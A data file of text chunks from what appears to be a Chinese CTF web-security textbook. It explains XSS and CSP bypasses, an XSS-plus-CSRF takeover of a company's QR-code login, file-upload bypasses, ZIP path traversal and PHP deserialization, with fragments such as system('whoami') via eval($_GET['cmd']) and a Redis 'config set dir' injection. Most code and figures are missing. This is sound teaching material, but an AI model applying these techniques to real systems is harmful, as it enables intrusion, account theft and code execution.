    {"text": "1．富文本过滤 对于发送邮件和写博客的场景，标签是必不可少的，如嵌入超链接、图片需要HTML标签，如果对标签进行黑名单过滤，必然出现遗漏的情况，那么我们可以通过寻找没有被过滤的标签进行绕过。"},
    {"text": "当语句被输出到标签事件的位置时，我们可以通过对payload进行HTML编码来绕过检测，见图2-3-20。 图2-3-20 利用burpsuite对payload进行实体编码： 打开浏览器即可触发，见图2-3-21。"},
    {"text": "如果对JavaScript的函数进行过滤，如过滤了“eval（”这样的字符组合，那么可以通过下面的方式进行绕过： 正因为JavaScript非常灵活，所以通过黑名单的方式对XSS攻击进行过滤是很困难的。 3．输出在JavaScript变量中 通过闭合JavaScript语句，会使得我们的攻击语句逃逸，这时有经验的开发可能会对 引号 进行编码或者转义，进而防御XSS，但是配合一些特殊的场景依然可能形成XSS。 例如，对于如下双输入的注入： 如果只过滤单引号而没考虑“\\”，那么我们可以转义语句中的第二个单引号，使得第一个单引号和第三个单引号闭合，从而让攻击语句逃逸： 在XSS中也有类似的场景。 例如，如下代码： 输入点和输出点都有两个，如果输入引号，会被编码成HTML实体字符，但是htmlentities函数并不会过滤“\\”，所以我们可以通过“\\”使得攻击语句逃逸，见图2-3-22。"},
    {"text": "图2-3-22 在 name处末尾 输入“\\”，在 addr参数 处闭合前面的JavaScript语句，同时插入恶意代码。 进一步可以用eval（window.name）引入恶意代码或者使用JavaScript中的 String.fromCharCode 来避免使用引号等被过滤的字符。"},
    {"text": "再介绍几个小技巧，见图2-3-23，将payload藏在location.hash中，则URL中“ ＃ ”后的字符不会被发到服务器，所以不存在被服务器过滤的情况，见图2-3-24。"},
    {"text": "不支持CSP的浏览器也能与实现了CSP的服务器正常合作，反之亦然：不支持CSP的浏览器只会忽略它，正常运行，默认网页内容使用标准的同源策略。"},
    {"text": "例如： 这段代码会规定，这个页面引用的JavaScript文件只允许来自百度的子域，其他任何方式的JavaScript执行都会被拦截，包括页面中本身的script标签内的代码。"},
    {"text": "表2-3-1 表中的每个规则都对应了浏览器中的某部分请求，如default-src指令定义了那些没有被更精确指令指定的安全策略，可以理解为页面中所有请求的一个默认策略；"},
    {"text": "例如，对于“ script-src'self' ”，self对应的CSP规则允许加载本地的文件，我们可以通过这个站点上可控的链接写入恶意内容，如文件上传、JSONP接口。"},
    {"text": "例如： 注意，如果是图片上传接口，即访问上传资源时返回的Content-Type是 image/png 之类的，则会被浏览器拒绝执行。 假设上传了一个a.xxxxx文件，通过URL的GET参数，把这个文件引入script标签的src属性，此时返回的Content-type为 text/plain ，解析结果见图2-3-26。"},
    {"text": "图2-3-27 图2-3-28 若该JSONP接口处于白名单域下，可以通过更改 callback参数 向页面中注入恶意代码，在触发点页面引入构造好的链接，见图2-3-29。"},
    {"text": "图2-3-29 另一些常见的绕过方法如下： 当传出数据受限时，则可以利用JavaScript动态生成 link标签 ，将数据传输到我们的服务器，如通过GET参数带出cookie： 还有就是利用 页面跳转 ，包括a标签的跳转、location变量赋值的跳转，meta标签的跳转等手法。"},
    {"text": "比如，通过跳转实现带出数据： 2.3.4 XSS绕过案例 CTF中的XSS题目通常利用XSS bot从后台模拟用户访问链接，进而触发答题者构造的XSS，读到出题者隐藏在bot浏览器中的flag。"},
    {"text": "1．0CTF 2017 Complicated XSS 题目中存在两个域名government.vip和admin.government.vip，见图2-3-30。 图2-3-30 题目提示： http://admin.government.vip：8000 。"},
    {"text": "经过进一步探测发现 <1>需要以管理员的身份向 http://admin.government.vip：8000/upload 接口上传文件后，才能得到flag <2> http://admin.government.vip：8000 中存在一个XSS，用户Cookie中的用户名直接会被显示在HTML内容中，见图2-3-31。 图2-3-31 <3> http://admin.government.vip：8000/ 页面存在过滤，删除了很多函数，需要想办法绕过才能把数据传输出去。 过滤部分如下： 根据得到的信息可以梳理出思路，利用government.vip根域的XSS，将对admin子域攻击的代码写入Cookie，设置Cookie有效的域为所有子域（所有子域均可访问此Cookie）。 设置完Cookie后，引导用户访问打印Cookie的页面，使bot在admin子域触发XSS，触发后利用XSS在admin子域中新建一个iframe页面，从而绕过页面中函数的限制，并读取管理员上传页面的HTML源码，最后构造上传包利用XSS触发上传，获得flag后发送给攻击者。 首先，在根域触发XSS的内容： 将payload设置到Cookie中，然后引导bot访问admin子域。"},
    {"text": "自从某次修复后，携带通行证跳转的漏洞似乎彻底修复了，对于域名的校验极其严格，但存在利用的可能，如找到白名单子域的XSS或者可以带出referer的页面： 该公司跨域授权的URL是上面的URL，其中有多个参数： return type 是指的授权类型可以是302跳转，也可以是form表单；"},
    {"text": "如果不是合法的HTTP（S）协议，链接是不会被浏览器所接受的，所以类似： 这样的URL是不可能弹框的，以上是所有的已知事情。 但是，在JavaScript中如果有这样的URL，那么是可以攻击的： 浏览器中，如果JavaScript调用了“javascript：”伪协议，那么后面的语句可以直接在当前页面当作脚本执行类似如下代码也是可以的。 只要单击它，就可以触发对应的脚本，然后似乎曾经看到过一种攻击payload： 这样的payload依然可以执行，因为“ // ”在JavaScript中代表的意思是注释，通过后面的“ %0a ”换行符，使得攻击语句跑到第2行，就避开了这个注释符。 似乎只要是JavaScript型的跳转，就都可以触发JavaScript伪协议？"},
    {"text": "这时，结合前的修复不算完全的漏洞：“JavaScript型跳转，域名不可控，但是协议和URL可控”，那么就得到了一个该公司登录域的XSS，见图2-3-35。"},
    {"text": "图2-3-35 图2-3-36 此时，我们得到了一个该企业登录域的XSS并可以无视浏览器的过滤、通杀各种浏览器，前面提到该企业的二维码登录功能在此域实现。 那么我们得到了这个XSS，就可以对用户进行CSRF攻击，让用户在访问我们的恶意页面的时候相当于完成了对登录二维码进行扫描和确认的动作。 诱导用户访问的页面内容，代码如下： attack.php内容如下： 上述代码是最终利用的payload，当用户访问此网页时会触发XSS，并且通过CSRF的攻击手法，自动化对攻击者打开的一个二维码登录页面进行授权。 授权完毕，攻击者就可以在浏览器登录受害者的账号，进而以对方身份浏览各种业务。"},
    {"text": "2.4.1 基础文件上传漏洞 图2-4-1是一段基础的PHP上传代码，却存在文件上传漏洞。 PHP的文件上传通常使用move_uploaded_file方法配合$_FILES变量实现，图中的代码直接使用了用户上传文件的文件名作为后端保存的文件名，会导致任意文件上传漏洞。 所以在该上传点可以上传恶意PHP脚本文件（见图2-4-2）。"},
    {"text": "00截断绕过上传限制适用的场景为，后端先获取用户上传文件的文件名，如x.php\\00.jpg，再根据文件名获得文件的实际后缀jpg； 通过后缀的白名单校验后，最终在保存文件时发生截断，实现上传的文件为x.php。 PHP的底层代码为C语言，自然存在这种问题，但是实际PHP使用$_FILES实现文件上传时并不存在00截断绕过上传限制问题，因为PHP在注册$_FILES全局变量时已经产生了截断。 上传文件名为x.php\\00.jpg的文件，而注册到$_FILES['name']的变量值为x.php，根据该值得到的后缀为php，因此无法通过后缀的白名单校验，测试截图见图2-4-3（文件名中包含不可见字符“\\0”）。"},
    {"text": "图2-4-3 PHP处理上传请求的部分调用栈如下： 在rfc1867_post_handle方法中调用multipart_buffer_headers方法，通过对mbuff上传包进行处理，得到header结构体： 在multipart_buffer_headers方法中存在如下代码： 从boundary中逐行读出数据，使用“：”分割出key和value；"},
    {"text": "在Java中，jdk7u40以下版本存在00截断问题，7u40后的版本，在上传、写入文件等操作中都会调用File的 isInvalid() 方法判断文件名是否合法，即不允许文件名中含有“\\0”，如果文件名不合法，将抛出异常退出流程。 2.4.2.2 转换字符集造成的截断 虽然PHP的$_FILES文件上传不存在00截断绕过上传限制的问题，不过在文件名进行字符集转换的场景下也可能出现截断绕过。 PHP在实现字符集转换时通常使用iconv()函数，UTF-8在单字节时允许的字符范围为0x00～0x7F，如果转换的字符不在该范围内，则会造成PHP_ICONV_ERR_ILLEGAL_SEQ异常，低版本PHP在PHP_ICONV_ERR_ILLEGAL_SEQ异常后不再处理后面字符造成截断问题，见图2-4-4。 可以看出，当PHP版本低于5.4时，转换字符集能够造成截断，但5.4及以上版本会返回false。 图2-4-4 若PHP版本低于5.4，只要out_buffer不为空，无论err为何值都能正常返回，见图2-4-5。 图2-4-5 而当PHP版本为5.4及以上时，只有err为PHP_ICONV_ERR_SUCCESS即成功转换且out_buffer不为空时，才会正常返回，否则返回FALSE，见图2-4-6。"},
    {"text": "转换字符集造成的截断在绕过上传限制中适用的场景为，先在后端获取上传的文件后缀，经过后缀白名单判断后，如果有对文件名进行字符集转换操作，那么可能出现安全问题。"},
    {"text": "图2-4-6 图2-4-7 图2-4-8 2.4.3 文件后缀黑名单校验绕过 黑名单校验上传文件后缀，即通过创建一个后缀名的黑名单列表，在上传时判断文件后缀名是否在黑名单列表中，在黑名单中则不进行任何操作，不在则可以上传，从而实现对上传文件的过滤。 2.4.3.1 上传文件重命名 测试代码见图2-4-9，在文件名重命名的场景下，可控的只有文件后缀，通常使用一些比较偏门的可解析的文件后缀绕过黑名单限制。"},
    {"text": "若Web服务器配置了SSI，还可以尝试上传SHTML、SHT等文件命令执行。 图2-4-9 图2-4-10 图2-4-11 图2-4-12 2.4.3.2 上传文件不重命名 在上传文件不重命名的场景下，除了寻找一些比较偏门的可解析的文件后缀，还可以通过上传.htaccess或.user.ini配置文件实现绕过。 1．上传.htaccess文件绕过黑名单 .htaccess是Apache分布式配置文件的默认名称，也可以在Apache主配置文件中通过AccessFileName指令修改分布式配置文件的名称。 Apache主配置文件中通过AllowOverride指令配置.htaccess文件中可以覆盖主配置文件的那些指令，在低于2.3.8的版本中，AllowOverride指令默认为All，在2.3.9及更高版本中默认为None，即在高版本Apache中，默认情况下.htaccess已无任何作用。 不过即使AllowOverride为All，为了避免安全问题，也不能覆盖所有主配置文件中的指令，具体可覆盖指令可查看：http://httpd.apache.org/docs/2.2/mod/directive-dict.html＃Context。 在低于2.3.8版本时，因为默认AllowOverride为all，可以尝试上传.htaccess文件修改部分配置，使用SetHandler指令使php解析指定文件，见图2-4-13。 先上传.htaccess文件，配置Files使PHP解析yu.txt文件，见图2-4-14。 再上传yu.txt文件到当前目录下，此时yu.txt已被当做PHP文件解析。"},
    {"text": "图2-4-13 图2-4-14 2．上传.user.ini文件绕过黑名单 自PHP 5.3.0起支持基于每个目录的.htaccess风格的INI文件，此类文件仅被CGI/FastCGI SAPI处理，其默认文件名为.user.ini。"},
    {"text": "图2-4-15 从官方手册可知，配置存在4个模式，且PHP_INI_PREDIR模式只能在php.ini、.htaccess、httpd.conf中进行配置，但是在实际中，PHP_INI_PREDIR模式的配置也可以在.user.ini文件中进行配置，还存在一种php.ini only模式。 disable_functions就是php.ini only模式，详细配置模式可以从官方手册中查看： https://www.php.net/manual/zh/ini.list.php 。 在PHP_INI_PERDIR模式中存在两个特殊的配置：auto_append_file、auto_prepend_file。 auto_prepend_file配置的作用为指定一个文件在主文件解析前解析，auto_append_file的作用为 指定一个文件在主文件解析后解析 ，见图2-4-16。 图2-4-16 在实际利用时，通常会使用 auto_prepend_file 。 获取auto_prepend_file、auto_append_file配置信息后，如果prepend_file_p不为空，则先调用zend_execute_scripts解析prepend_file_p，再调用zend_execute_scripts解析primary_file（主文件）和append_file_p。 由于append_file_p最后被执行，如果在解析primary_file的opcode时出现Fatal error或exit，那么append_file_p不再会被zend_execute_scripts解析。"},
    {"text": "从上可以看出，只有在当前目录下有PHP文件被执行时，才会加载当前目录下的.user.ini文件，而在上传目录下通常不会存在PHP文件，绕过见图2-4-17。"},
    {"text": "图2-4-17 先上传配置文件，配置在主文件解析前解析yu.txt文件，见图2-4-18。 上传yu.txt文件，访问当前目录下的任意PHP文件，见图2-4-19。 在解析upload.php文件前，先解析yu.txt文件，成功触发phpinfo()。"},
    {"text": "图2-4-18 图2-4-19 2.4.4 文件后缀白名单校验绕过 白名单校验文件后缀比黑名单校验更安全、普遍，绕过白名单通常需要借助Web服务器的各解析漏洞或ImageMagick等组件漏洞。"},
    {"text": "2.4.4.1 Web服务器解析漏洞 1．IIS解析漏洞 IIS 6中存在两个解析漏洞：“ *.asp ”文件夹下的所有文件会被当做脚本文件进行解析，文件名为“ yu.asp；"},
    {"text": "Nginx的配置如下： 先上传x.jpg文件，再访问x.jpg/1.php，location为.php结尾，会交给FPM处理，此时$fastcgi_script_name的值为x.jpg/1.php； 在PHP开启cgi.fix_pathinfo配置时，x.jpg/1.php文件不存在，开始fallback去掉最右边的“/”及后续内容，继续判断x.jpg是否存在； 这时若x.jpg存在，则会用PHP处理该文件，如果FPM没有配置security.limit_extensions限制执行文件后缀必须为php，则会产生解析漏洞，见图2-4-20。"},
    {"text": "图2-4-20 2.4.4.2 APACHE解析漏洞 1．多后缀文件解析漏洞 在Apache中，单个文件支持拥有多个后缀，如果多个后缀都存在对应的handler或media-type，那么对应的handler会处理当前文件。"},
    {"text": "图2-4-21 在以上Apache配置下，当使用AddType（非之前的AddHandler）时，多后缀文件会从最右后缀开始识别，如果后缀不存在对应的MIME type或Handler，则会继续往左识别后缀，直到后缀有对应的MIME type或Handler。 x.php.xxx文件由于xxx后缀没有对应的handler或mime type，这时往左识别出PHP后缀，就会将该文件交给application/x-httpd-php处理，见图2-4-22。"},
    {"text": "name=CVE-2017-15715 ，根据该CVE的描述可以看出，在HTTPD 2.4.0到2.4.29版本中，FilesMatch指令正则中“ $ ”能够匹配到换行符，可能导致黑名单绕过。"},
    {"text": "图2-4-22 以上Apache配置，原意是只解析以.php结尾的文件，但是由于15715漏洞导致 .php\\n 结尾的文件也能被解析，那么可以上传x.php\\n文件绕过黑名单。"},
    {"text": "不过在PHP $_FILES上传的过程中， $_FILES['name'] 会清除“ \\n ”字符导致不能利用，这里使用file_put_contents实现上传，测试代码见图2-4-23。"},
    {"text": "图2-4-25 2.4.5 文件禁止访问绕过 在测试中经常会遇到一些允许任意上传的功能，在访问上传的脚本文件时才发现并不能被解析或访问，通常是在Web服务器中配置上传目录下的脚本文件禁止访问。 在上传目录下的文件无法被访问时，最好的绕过方法肯定是将目录穿越上传到根目录，如尝试上传../x.php等类似文件。 但是这种方法对于$_FILES上传是不能实现的，因为PHP在注册 $_FILES['name'] 时调用_basename()方法处理了文件名，见图2-4-26和图2-4-27。 图2-4-26 图2-4-27 _basename方法会获得最后一个\" / \"或\" \\ \"后面的字符，所以上传../x.php文件并不能够实现目录穿越，因为在经过_basename后注册到 _FILES['name'] 的值为x.php。"},
    {"text": "2.4.5.1.htaccess禁止脚本文件执行绕过 低于9.22版本的jQuery-File-Upload在自带的上传脚本（server/php/index.php）中，验证上传文件后缀使用的正则为： 也就是允许任意文件上传。 之所以有底气允许任意文件上传，是因为在它的上传目录下自带.htaccess文件配置上传的脚本文件无法被执行。 但是从Apache 2.3.9起，AllowOverride默认为None，所以在.htaccess下任何指令都不能使用，这里的SetHandler、ForceType指令也就毫无作用，直接上传PHP文件即被执行。"},
    {"text": "不过现在OSS都会提供绑定域名功能，见图2-4-28，很多网站会把OSS绑在自己的二级域名下，这时上传HTML文件导致的XSS就能利用了，这里不再赘述。"},
    {"text": "图2-4-28 2.4.5.3 配合文件包含绕过 在PHP文件包含中，程序一般会限制包含的文件后缀只能为“.php”或其他特定后缀，见图2-4-29。"},
    {"text": "在00截断越来越罕见的今天，如果上传目录脚本文件无法被访问或不被解析，见图2-4-30，那么可以上传一个PHP文件配合文件包含实现解析，见图2-4-31。"},
    {"text": "图2-4-29 图2-4-30 图2-4-30（续） 图2-4-31 类似的场景还有SSTI，常为用户选择可以加载的模板，但是模板文件后缀通常会被写死，所以这时可以通过任意文件上传模板文件，然后渲染上传的模板实现SSTI。"},
    {"text": "1．pathinfo导致的绕过问题 Nginx的配置如下： 由于pathinfo在各大框架的流行，很多计算机支持pathinfo，会把location类似x.php/xxxx的路径也交给FPM解析，但是x.php/xxx并不符合deny all的匹配规则，导致绕过，见图2-4-32。 图2-4-32 2．location匹配顺序导致的绕过问题 在Nginx配置中经常出现多个location都能匹配请求URI的场景，这时具体交给哪个location语句块处理，就需要看location块的匹配优先级。 Nginx配置如下： Nginx的location块匹配优先级为先匹配普通location，再匹配正则location。"},
    {"text": "在普通location匹配完成后，如果不是完全匹配，那么并不会结束，而是继续交给正则location检测，如果正则匹配成功，就会覆盖普通location匹配的结果。"},
    {"text": "所以在以上配置中， deny all 被正则location匹配所覆盖，upload目录下的PHP文件依旧能够正常执行，见图2-4-33。 图2-4-33 正确的配置方法应该在普通匹配前加上“ ^～ ”，表示只要该普通匹配成功，就算不是完全匹配也不再进行正则匹配，所以在该配置下能够成功禁止PHP文件的解析，见图2-4-34。 图2-4-34 以上配置与普通匹配不同，正则location只要匹配成功，就不再考虑后面的location块。 正则location匹配顺序与在配置文件中的物理顺序有关 ，物理顺序在前的会先进行匹配。 所以在以上的配置中，两个匹配都为正则匹配，那么按照匹配顺序upload目录下的PHP文件依旧会交给FPM解析，见图2-4-35。"},
    {"text": "图2-4-35 3．利用Apache解析漏洞绕过 Apache通常使用以上配置禁止上传目录中的脚本文件被访问，此时可以利用Apache的解析漏洞上传yu.php.aaa文件，使其不符合deny all的匹配规则实现绕过，见图2-4-36。"},
    {"text": "图2-4-36 2.4.6 绕过图片验证实现代码执行 部分开发者认为，上传文件的内容如果是一张正常的图片就不可能再执行代码，所以允许任意后缀文件上传，但是在PHP中，检测文件是否为正常图片的方法往往能被绕过。"},
    {"text": "1．getimagesize绕过 getimagesize函数用来测定任何图像文件的大小并返回图像的尺寸以及文件类型，如果文件不是有效的图像文件，则将返回FALSE并产生一条E_WARNING级错误，见图2-4-37。"},
    {"text": "图2-4-38 getimagesize的绕过比较简单，只要将PHP代码添加到图片内容后就能成功绕过，见图2-4-39，此时上传的PHP文件能够正常解析，见图2-4-40。"},
    {"text": "图2-4-39 图2-4-40 同时，getimagesize支持测定XBM格式图片——一种纯文本图片格式。 getimagesize在测定XBM时会逐行读取XBM文件，如果某一行符合 ＃define%s%d ，就会格式化取出字符串和数字。"},
    {"text": "2．imagecreatefromjpeg绕过 imagecreatefromjpeg方法会渲染图像生成新的图像，在图像中注入脚本代码经过渲染后，脚本代码会消失，不过该方法也已经存在成熟的绕过脚本：https://github.com/BlackFan/jpg_payload。"},
    {"text": "图2-4-41 绕过需要先上传正常图片文件，再下载回渲染后的图片，运行jpg_payload.php处理下载回来的图片，将代码注入图片文件，然后上传新生成的图片，能看出经过imagecreatefromjpeg后注入的脚本代码依然存在，见图2-4-42。"},
    {"text": "图2-4-42 1．LFI via phpinfo 由于上传生成的临时文件的文件名存在6位随机字符，并且在上传完成后会删除该文件，因此在有限的时间内找到临时文件名是一个很大的问题。"},
    {"text": "不过phpinfo中会输出当前环境下的所有变量，如果存在$_FILES变量，也会输出，所以如果目标存在phpinfo文件，往phpinfo上传一个文件，就可以轻松拿到tmp_name，见图2-4-43。"},
    {"text": "当上传文件时，同时POST与INI中设置的session.upload_progress.name同名变量，PHP检测到这种POST请求时，会往Session中添加一组数据，写入上传进度等信息，其索引为session.upload_progress.prefix与$_POST[session.upload_progress.name]值连接在一起的值。 session.upload_progress.prefix默认为upload_progress_，session.upload_progress.name默认为php_session_upload_progress，所以上传时需要 POST php_session_upload_progress 。 这时上传文件名会写入SESSION，PHPSESSION默认以文件保存，进而可以配合LFI，见图2-4-44。 图2-4-44 由于session.upload_progress.cleanup配置默认为ON，即在读取完POST数据后会清除upload_progress所添加的Session，因此这里需要用到条件竞争，在Session文件被清除前包含到Session文件，最终实现代码执行。"},
    {"text": "图2-4-45 3．LFI via Segmentation fault Segmentation fault方法实现思路为，向出现Segmentation fault异常的地址上传文件，导致在垃圾回收前异常退出，上传生成的临时文件就不会被删除，最后通过大量上传文件同时枚举临时文件名的所有可能，最终实现LFI的利用，见图2-4-44。"},
    {"text": "2.4.8 使用file_put_contents实现文件上传 除了使用FILES实现上传，在测试中也会遇到另一种上传格式，这种方法通常在获取到文件内容后使用file_put_contents等方法实现文件上传，见图2-4-46。 图2-4-46 1．file_put_contents上传文件黑名单绕过 在文件名可控场景下，FILES上传中即使开发者没有过滤“/../”字符，PHP在注册FILES['name']变量时也会自身做_basename处理，导致用户不能传入“/../”等字符。 在file_put_contents方法中，文件地址参数可能为绝对路径，所以PHP肯定不会对该参数做basename处理，在文件名可控情况下，file_put_contents上传文件能够实现目录穿越。"},
    {"text": "当图2-4-47所示代码出现在Nginx+PHP环境且upload目录下无可执行文件时，需要找到其他方法绕过黑名单。 file_put_contents的文件名为“ yu.php/. ”时，能够正常写入yu.php文件，并且代码获取的后缀为空字符串，所以能够绕过黑名单，见图2-4-48。"},
    {"text": "在tsrm_realpath_r方法中添加如下代码： 在该方法中，如果路径以“ /. ”结尾，就会把len定义为“ / ”字符的索引，然后执行： 截断掉“ /. ”字符，处理成正常的路径。"},
    {"text": "图2-4-49 同样，在tsrm_realpath_r方法中存在以下代码： php_sys_lstat为lstat方法的宏定义，lstat方法用于获取文件的信息，执行失败则返回-1，执行成功则返回0。"},
    {"text": "图2-4-50 在官方手册（见 https://www.php.net/manual/zh/filters.string.php ）中可以发现存在许多过滤器，所以这里可以使用一些字符串过滤器把exit()处理掉，从而让后面写入的代码能够被执行，可以使用base64_decode进行处理。"},
    {"text": "PHP的base64_decode方法默认非严格模式，除了跳过填充字符“ = ”，如果存在字符使得 base64_reverse_table[ch]<0 ，也会跳过。 从base64_reverse_table中可以发现，只有当字符的ASCII值为43、47～57、65～90、97～122时，才有base64_reverse_table[ch]>=0，对应的字符为+、/、0～9、a～z、A～Z，其余字符都会被跳过。"},
    {"text": ">\\n ”除去了被跳过的字符，剩余phpexit，在base64解码时每4字节一组，所以需要再填充1字节，最终被解码为乱码后面的代码就能正常执行，见图2-4-51。"},
    {"text": "图2-4-51 2.4.9 ZlP上传带来的上传问题 为了实现批量上传，很多系统支持上传ZIP压缩包，再在后端解压ZIP文件，如果没有对解压出来的文件做好处理，就会导致安全问题，以前PHPCMS就出现过未处理好上传的ZIP导致的安全问题。 1．未处理解压文件 图2-4-52中的代码仅在上传时限制文件后缀必须为zip，但是没有对解压的文件做任何处理，所以把PHP文件压缩为ZIP文件，再上传ZIP文件，后端解压后实现任意文件上传，见图2-4-53。 图2-4-52 图2-4-53 2．未递归检测上传目录导致绕过 为了解决解压文件带来的安全问题，很多程序会在解压完ZIP后，检测上传目录下是否存在脚本文件，如果存在，则删除。 例如，图2-4-54中的代码在解压完成后，会通过readdir获取上传目录下的所有文件、目录，如果发现后缀不是jpg、gif、png的文件，则删除。 但是以上代码仅仅检测了上传目录，没有递归检测上传目录下的所有目录，所以如果解压出一个目录，那么目录下的文件不会被检测到。"},
    {"text": "虽然hello目录的后缀不在白名单列表中，但是unlink一个目录不会成功，仅会抛出warning，所以目录和目录下的文件就被保留了，见图2-4-55。 图2-4-54 图2-4-55 当然，也可以在压缩包内新建目录x.jpg，直接跳过unlink，连warning都不会抛出，见图2-4-56。"},
    {"text": "图2-4-56 3．条件竞争导致绕过 在图2-4-57所示的代码中，递归检测了上传目录下的所有目录，所以之前的绕过方式不再可行。 图2-4-57 这种场景下可以通过条件竞争的方式绕过，即在文件被删除前访问文件，生成另一个脚本文件到非上传目录中，见图2-4-58和图2-4-59。 图2-4-58 图2-4-59 通过不断上传文件与访问文件，在文件被删除前访问到了文件，最终生成脚本文件到其他目录中实现绕过，见图2-4-60。 图2-4-60 4．解压产生异常退出实现绕过 为了避免条件竞争问题，图2-4-61中的代码把文件解压到了一个随机目录中，由于目录名不可预测，因此不再能够进行条件竞争。"},
    {"text": "ZipArchive对象中的extractTo方法在解压失败时会返回false，很多程序在解压失败后会立即退出程序，但是其实可以构造出一种解压到一半然后解压失败的ZIP包。"},
    {"text": "5．解压特殊文件实现绕过 为了修复异常退出导致的绕过，将代码修改为以下代码，在解压失败后也会调用check_dir方法删除目录下的非法文件，所以这时使用异常退出方法也不再可行。 图2-4-61 图2-4-62 图2-4-63 在以上场景中，如果在解压ZIP文件时能够让解压出的文件名含有“ ../ ”字符实现目录穿越跳出上传目录，那么解压出的脚本文件不会被check_dir删除。"},
    {"text": "在/ext/zip/php_zip.c文件中，ZIPARCHIVE_METHOD（extractTo）方法调用了php_zip_extract_file方法来解压文件。 图2-4-65 在php_zip_extract_file方法中，先使用virtual_file_ex对路径规范化，从注释中也能看出规范化后的结果，再调用php_zip_make_relative_path将路径处理为相对路径。 例如，压缩包中含有/../aaaaaaaaa.php文件，先经过virtual_file_ex方法中tsrm_realpath_r处理后，变为/aaaaaaaaa.php，再经过php_zip_make_relative_path处理，变为相对路径aaaaaaaaa.php，因而不能够实现目录穿越。 不过Windows下的virtual_file_ex和Linux处理不同，Windows中不会使用tsrm_realpath_r方法处理路径，所以在Windows下可以使用这种方法，具体代码可查看zend/zend_virtual_cwd.c文件。"},
    {"text": "开始进入privDirCheck目录检测、创建流程，由于dd409260aea46a90e61b9a69fb-9726ef目录不存在，Linux下不存在的目录不能穿越，因此 方法会返回false。"},
    {"text": "<1> is_dir（'./upload/dd409260aea46a90e61b9a69fb9726ef/../..'） 返回false，获取父目录./upload/dd409260aea46a90e61b9a69fb9726ef/..，调用privDirCheck方法。 <2> is_dir（'./upload/dd409260aea46a90e61b9a69fb9726ef/..'） 依然返回false，获取父目录./upload/dd409260aea46a90e61b9a69fb9726ef，调用privDirCheck方法 <3> is_dir（'./upload/dd409260aea46a90e61b9a69fb9726ef'） 依然返回false，获取父目录./upload，调用privDirCheck方法。 <4> is_dir（'./upload'）目录 存在，返回true，然后开始递归创建不存在的子目录。 <5> mkdir（'./upload/dd409260aea46a90e61b9a69fb9726ef'） ，成功创建dd40目录。 <6> mkdir（'./upload/dd409260aea46a90e61b9a69fb9726ef/..'） ，目录穿越成功，实际执行的为 mkdir（'./upload'） 。 由于upload目录已存在，则出现错误，返回错误编号，最终从压缩包中提取文件失败。 综上，需要压缩包的第一个文件是正常文件，则先创建临时目录，后面的文件目录穿越不会再出现问题。"},
    {"text": "图2-4-67 图2-4-68 小结 本章涉及的Web漏洞与第1章的不同，漏洞涉及的“小技巧”繁多，如XSS漏洞中的CSP绕过等，因此读者需要多积累经验，多进行相关漏洞的复现，才才能详细了解漏洞细节，明白触发漏洞所需的条件，在比赛过程中快人一步。 第3章将从Web常见的语言特性和比赛中出现次数较少的漏洞入手，需要读者对相关语言的语法或算法有所了解。 第3章 Web拓展 前两章主要介绍了一些传统的Web漏洞。 本章则主要从PHP和Python的语言特性出发，介绍两种这主流Web语言在CTF比赛中常出现的漏洞，即反序列化漏洞与Python的安全问题，同时介绍密码学相关的Web漏洞和Web逻辑漏洞，让读者对Web方向的漏洞有更全面的了解。 3.1 反序列化漏洞 在各类语言中，将对象的状态信息转换为可存储或可传输的过程就是序列化，序列化的逆过程便是反序列化，主要是为了方便对象的传输，通过文件、网络等方式将序列化后的字符串进行传输，最终通过反序列化可以获取之前的对象。"},
    {"text": "作为目前最流行的Web知识点，本节将对PHP序列化漏洞逐步介绍，通过一些案例，让读者对PHP反序列漏洞有更深的了解。 3.1.1 PHP反序列化 本节介绍PHP反序列化的基础，以及常见的利用技巧。"},
    {"text": "PHP对象需要表达的内容较多，如类属性值的类型、值等，所以会存在一个基本格式。 下面则是PHP序列化后的基本类型表达： ❖ 布尔值（bool）：b：value=>b：0。"},
    {"text": "序列化前的对象如下： 通过serialize()函数进行序列化： 其中，O表示这是一个对象，6表示对象名的长度，person则是序列化的对象名称，3表示对象中存在3个属性。"},
    {"text": "PHP中存在魔术方法，即PHP自动调用，但是存在调用条件，比如，__destruct是对象被销毁的时候进行调用，通常PHP在程序块执行结束时进行垃圾回收，这将进行对象销毁，然后自动触发__destruct魔术方法，如果魔术方法还存在一些恶意代码，即可完成攻击。"},
    {"text": "3.1.1.1 常见反序列化 PHP代码如下： 这段代码存在一个test类中，其中__destruct魔术函数中还存在 eval（$_GET['cmd']） 的代码，然后通过参数 u 来接收序列化后的字符串。"},
    {"text": "在利用程序中，首先定义test类，然后对它进行实例化，再进行序列化输出字符串，将利用代码保存为PHP文件，浏览器访问后即可显示出序列化后的字符串，即 O：4：\"test\"：0：{} 。"},
    {"text": "代码如下： 通过传值进行任意代码执行，u参数传入 O：4：\"test\"：0：{} ，cmd参数传入 system（\"whoami\"） ，即最后代码会执行system()函数来调用whoami命令。"},
    {"text": "图3-1-1 有时我们会遇到魔术方法中没有利用代码，即不存在eval（$_GET['cmd']），却有调用其他类方法的代码，这时可以寻找其他有相同名称方法的类。"},
    {"text": "可以发现，lemon类正常调用便是创建了一个normal实例，在destruct中还调用了normal实例的action方法，如果将$this->ClassObj替换为evil类，当调用action方法时会调用evil的action方法，从而进入 eval（$this->data） 中，导致任意代码执行。 图3-1-2 在Exploit构造中，我们可以在__construct中将Classobj换为evil类，然后将evil类的私有属性data赋值为phpinfo()。"},
    {"text": "保存为PHP文件后访问，最终会得到一串字符： 注意，因为ClassObj是protected属性，所以存在“ %00*%00 ”来表示它，而“ %00 ”是不可见字符，在构造Exploit的时候尽量使用urlencode后的字符串来避免“ %00 ”缺失。"},
    {"text": "例如，PHP代码如下： 通过unserialize进行反序列化类为对象，再调用类的notexist方法，将触发__call魔术方法。 PHP存在内置类 SoapClient：：__Call ，存在可以进行__call魔术方法时，意味着可以进行一个SSRF攻击，具体利用代码见Exploit。"},
    {"text": "（1）构造post数据包来攻击内网HTTP服务 这里存在的问题是Soap默认头中存在Content-Type：text/xml，但可以通过user_agent注入数据，将Content-Type挤下，最终 data=abc 后的数据在容器处理下会忽略后面的数据。"},
    {"text": "图3-1-7 因为Redis对命令的接收较为宽松，即一行行对HTTP请求头中进行解析命令，遇到图3-1-7中的“config set dir/root/”，便会作为Redis命令进行执行。"},
    {"text": "PHP代码如下： Exploit生成（适用于PHP 5/7）： 主要利用了Exception类对错误消息没有做过滤，导致最终反序列化后输出内容在网页中造成XSS，构写Exploit生成时，将XSS代码作为Exception类的参数即可。 通过echo将Exception反序列化后，便会进行一个报错，然后将XSS代码输出在网页。"},
